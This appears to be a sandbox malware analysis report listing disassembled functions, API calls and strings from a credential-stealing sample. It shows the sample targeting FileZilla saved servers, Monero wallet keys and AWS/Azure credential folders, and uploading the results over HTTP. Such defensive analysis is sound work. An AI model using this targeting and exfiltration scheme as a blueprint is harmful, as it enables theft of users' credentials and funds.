Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00140250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 00148DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00148E0B

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 001399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001399EC
Part of subcall function 001399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00139A11
Part of subcall function 001399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00139A31
Part of subcall function 001399C0: ReadFile.KERNEL32(000000FF,?,00000000,0013148F,00000000), ref: 00139A5A
Part of subcall function 001399C0: LocalFree.KERNEL32(0013148F), ref: 00139A90
Part of subcall function 001399C0: CloseHandle.KERNEL32(000000FF), ref: 00139A9A

Part of subcall function 00148E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00148E52

GetProcessHeap.KERNEL32(00000000,000F423F,00150DBA,00150DB7,00150DB6,00150DB3), ref: 00140362
RtlAllocateHeap.NTDLL(00000000), ref: 00140369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00140385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 00140393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001403CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 001403DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00140419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 00140427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00140463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 00140475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 00140502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 0014051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 00140532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 0014054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00140562
lstrcat.KERNEL32(?,profile: null), ref: 00140571
lstrcat.KERNEL32(?,url: ), ref: 00140580
lstrcat.KERNEL32(?,00000000), ref: 00140593
lstrcat.KERNEL32(?,00151678), ref: 001405A2
lstrcat.KERNEL32(?,00000000), ref: 001405B5
lstrcat.KERNEL32(?,0015167C), ref: 001405C4
lstrcat.KERNEL32(?,login: ), ref: 001405D3
lstrcat.KERNEL32(?,00000000), ref: 001405E6
lstrcat.KERNEL32(?,00151688), ref: 001405F5
lstrcat.KERNEL32(?,password: ), ref: 00140604
lstrcat.KERNEL32(?,00000000), ref: 00140617
lstrcat.KERNEL32(?,00151698), ref: 00140626
lstrcat.KERNEL32(?,0015169C), ref: 00140635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00150DB2), ref: 0014068E

Strings

<Pass encoding="base64">, xrefs: 0014045A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001402A4
<Port>, xrefs: 001403C6
password: , xrefs: 001405FB
<User>, xrefs: 00140410
browser: FileZilla, xrefs: 00140559
profile: null, xrefs: 00140568
<Host>, xrefs: 0014037C
login: , xrefs: 001405CA
url: , xrefs: 00140577

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: ad1a2ae9ba83907ed9d635d84f66c089f6ea2c8933d781a35a77e90a0aeeee70
Instruction ID: c300a609b0c6a26d2d21c5f71bdea92ccb1b66163fc4a412e54dcfd92014311b
Opcode Fuzzy Hash: ad1a2ae9ba83907ed9d635d84f66c089f6ea2c8933d781a35a77e90a0aeeee70
Instruction Fuzzy Hash: F9D17371940108ABDB05EBF0DD96EEE773CEF68301F514418F516A70A1DF74AA4ACB62

Function 00135960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 001347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00134839
Part of subcall function 001347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00134849

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001359F8
StrCmpCA.SHLWAPI(?,0102E470), ref: 00135A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00135B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0102E4E0,00000000,?,01029EE8,00000000,?,00151A1C), ref: 00135E71
lstrlen.KERNEL32(00000000), ref: 00135E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00135E93
RtlAllocateHeap.NTDLL(00000000), ref: 00135E9A
lstrlen.KERNEL32(00000000), ref: 00135EAF
lstrlen.KERNEL32(00000000), ref: 00135ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00135EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00135F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00135F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00135F4C
InternetCloseHandle.WININET(00000000), ref: 00135FB0
InternetCloseHandle.WININET(00000000), ref: 00135FBD
HttpOpenRequestA.WININET(00000000,0102E530,?,0102DA58,00000000,00000000,00400100,00000000), ref: 00135BF8

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

InternetCloseHandle.WININET(00000000), ref: 00135FC7

Strings

------, xrefs: 00135D4C
", xrefs: 00135CD5
", xrefs: 00135E16
------, xrefs: 00135C0B
------, xrefs: 00135A96

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: f676adba3f6a66a961fda43b87a48df7921222efb60c649885012b0b025b4fa7
Instruction ID: 272a835775872935f5a1661868ba64dc212b893ac9ce4ca17ac68236ac117ad0
Opcode Fuzzy Hash: f676adba3f6a66a961fda43b87a48df7921222efb60c649885012b0b025b4fa7
Instruction Fuzzy Hash: AA1210718A0119ABEB15EBA0DC95FEEB37CFF64701F914199B10A630A1DF702A49CF61

Function 0013CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 00148B60: GetSystemTime.KERNEL32(00150E1A,01029918,001505AE,?,?,001313F9,?,0000001A,00150E1A,00000000,?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 00148B86

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0013CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0013D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0013D0CE
lstrcat.KERNEL32(?,00000000), ref: 0013D208
lstrcat.KERNEL32(?,00151478), ref: 0013D217
lstrcat.KERNEL32(?,00000000), ref: 0013D22A
lstrcat.KERNEL32(?,0015147C), ref: 0013D239
lstrcat.KERNEL32(?,00000000), ref: 0013D24C
lstrcat.KERNEL32(?,00151480), ref: 0013D25B
lstrcat.KERNEL32(?,00000000), ref: 0013D26E
lstrcat.KERNEL32(?,00151484), ref: 0013D27D
lstrcat.KERNEL32(?,00000000), ref: 0013D290
lstrcat.KERNEL32(?,00151488), ref: 0013D29F
lstrcat.KERNEL32(?,00000000), ref: 0013D2B2
lstrcat.KERNEL32(?,0015148C), ref: 0013D2C1
lstrcat.KERNEL32(?,00000000), ref: 0013D2D4
lstrcat.KERNEL32(?,00151490), ref: 0013D2E3

Part of subcall function 0014A820: lstrlen.KERNEL32(00134F05,?,?,00134F05,00150DDE), ref: 0014A82B
Part of subcall function 0014A820: lstrcpy.KERNEL32(00150DDE,00000000), ref: 0014A885

lstrlen.KERNEL32(?), ref: 0013D32A
lstrlen.KERNEL32(?), ref: 0013D339

Part of subcall function 0014AA70: StrCmpCA.SHLWAPI(01028A30,0013A7A7,?,0013A7A7,01028A30), ref: 0014AA8F

DeleteFileA.KERNEL32(00000000), ref: 0013D3B4

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 2a162adc38ce60eef872948f8d07c945b3c0669e48c52889c4fdd8fbba501102
Instruction ID: 2c0ab1dabc1d2c39e10bb5a9a358c2585afac93090f29f3aa6dd251742ee04f7
Opcode Fuzzy Hash: 2a162adc38ce60eef872948f8d07c945b3c0669e48c52889c4fdd8fbba501102
Instruction Fuzzy Hash: C3E16E71940109ABDB15EBA0DD96EEE737CFF64302F510058F106A70A1DF35AE4ACB62

Function 0013C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0102CDF0,00000000,?,0015144C,00000000,?,?), ref: 0013CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0013CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0013CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0013CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0013CAD9
StrStrA.SHLWAPI(?,0102CE50,00150B52), ref: 0013CAF7
StrStrA.SHLWAPI(00000000,0102CF10), ref: 0013CB1E
StrStrA.SHLWAPI(?,0102D0D8,00000000,?,00151458,00000000,?,00000000,00000000,?,01028A20,00000000,?,00151454,00000000,?), ref: 0013CCA2
StrStrA.SHLWAPI(00000000,0102D1D8), ref: 0013CCB9

Part of subcall function 0013C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0013C871
Part of subcall function 0013C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0013C87C

StrStrA.SHLWAPI(?,0102D1D8,00000000,?,0015145C,00000000,?,00000000,01028A00), ref: 0013CD5A
StrStrA.SHLWAPI(00000000,01028960), ref: 0013CD71

Part of subcall function 0013C820: lstrcat.KERNEL32(?,00150B46), ref: 0013C943
Part of subcall function 0013C820: lstrcat.KERNEL32(?,00150B47), ref: 0013C957
Part of subcall function 0013C820: lstrcat.KERNEL32(?,00150B4E), ref: 0013C978

lstrlen.KERNEL32(00000000), ref: 0013CE44
CloseHandle.KERNEL32(00000000), ref: 0013CE9C

Strings

, xrefs: 0013C9C6

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: c89375d914e79ba883632fc4e8d51d47ed6a75a9fe510937f9b87a1aee207857
Instruction ID: cd81405bcdcffe35d013cadcd6cade799cd5e6e6068dd8c4e1af4e916c83c4fd
Opcode Fuzzy Hash: c89375d914e79ba883632fc4e8d51d47ed6a75a9fe510937f9b87a1aee207857
Instruction Fuzzy Hash: C3E110B1940109ABEB15EBA0DC91FEEB778EF64305F814159F106771A1EF306A4ACF62

Function 00148320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

RegOpenKeyExA.ADVAPI32(00000000,0102AF40,00000000,00020019,00000000,001505B6), ref: 001483A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00148426
wsprintfA.USER32 ref: 00148459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0014847B
RegCloseKey.ADVAPI32(00000000), ref: 0014848C
RegCloseKey.ADVAPI32(00000000), ref: 00148499

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Strings

%s\%s, xrefs: 0014844D
?, xrefs: 0014837A
- , xrefs: 001485A3

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 0dd3c5ca9ae6f13d29f1a73aa565c16326521587574dfa9268feaac0bc74773d
Instruction ID: a1f267233b4a802d8eef2a3e308462dd87b7e14f618ed52eeeca7916430cbce4
Opcode Fuzzy Hash: 0dd3c5ca9ae6f13d29f1a73aa565c16326521587574dfa9268feaac0bc74773d
Instruction Fuzzy Hash: 91813BB1950118ABEB29DF54CC91FEEB7B8FF58701F408298E109A6190DF716B89CF91

Function 00144D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00148DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00148E0B

lstrcat.KERNEL32(?,00000000), ref: 00144DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00144DCD

Part of subcall function 00144910: wsprintfA.USER32 ref: 0014492C
Part of subcall function 00144910: FindFirstFileA.KERNEL32(?,?), ref: 00144943

lstrcat.KERNEL32(?,00000000), ref: 00144E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00144E59

Part of subcall function 00144910: StrCmpCA.SHLWAPI(?,00150FDC), ref: 00144971
Part of subcall function 00144910: StrCmpCA.SHLWAPI(?,00150FE0), ref: 00144987
Part of subcall function 00144910: FindNextFileA.KERNEL32(000000FF,?), ref: 00144B7D
Part of subcall function 00144910: FindClose.KERNEL32(000000FF), ref: 00144B92

lstrcat.KERNEL32(?,00000000), ref: 00144EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00144EE5

Part of subcall function 00144910: wsprintfA.USER32 ref: 001449B0
Part of subcall function 00144910: StrCmpCA.SHLWAPI(?,001508D2), ref: 001449C5
Part of subcall function 00144910: wsprintfA.USER32 ref: 001449E2
Part of subcall function 00144910: PathMatchSpecA.SHLWAPI(?,?), ref: 00144A1E
Part of subcall function 00144910: lstrcat.KERNEL32(?,0102E560), ref: 00144A4A
Part of subcall function 00144910: lstrcat.KERNEL32(?,00150FF8), ref: 00144A5C
Part of subcall function 00144910: lstrcat.KERNEL32(?,?), ref: 00144A70
Part of subcall function 00144910: lstrcat.KERNEL32(?,00150FFC), ref: 00144A82
Part of subcall function 00144910: lstrcat.KERNEL32(?,?), ref: 00144A96
Part of subcall function 00144910: CopyFileA.KERNEL32(?,?,00000001), ref: 00144AAC
Part of subcall function 00144910: DeleteFileA.KERNEL32(?), ref: 00144B31

Strings

Azure\.IdentityService, xrefs: 00144EEB
Azure\.azure, xrefs: 00144DD3
*.*, xrefs: 00144E64
\.aws\, xrefs: 00144E4D
\.azure\, xrefs: 00144DC1
msal.cache, xrefs: 00144EF0
\.IdentityService\, xrefs: 00144ED9
*.*, xrefs: 00144DD8
Azure\.aws, xrefs: 00144E5F

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: f2294bdd8d8ef634dc5507cd4cffb43e1cd9f250918f34fcec97159fec05d339
Instruction ID: 6535a3fa101f52b4461c5d2bf889481c207145e89f1ef434a9ed789cda42ebba
Opcode Fuzzy Hash: f2294bdd8d8ef634dc5507cd4cffb43e1cd9f250918f34fcec97159fec05d339
Instruction Fuzzy Hash: C24183BA940214B7D760F7B0EC47FED3638AB64701F404458B659660C1EFB45BCD8B92

Function 00149010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0014906C

Strings

image/jpeg, xrefs: 00149136

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
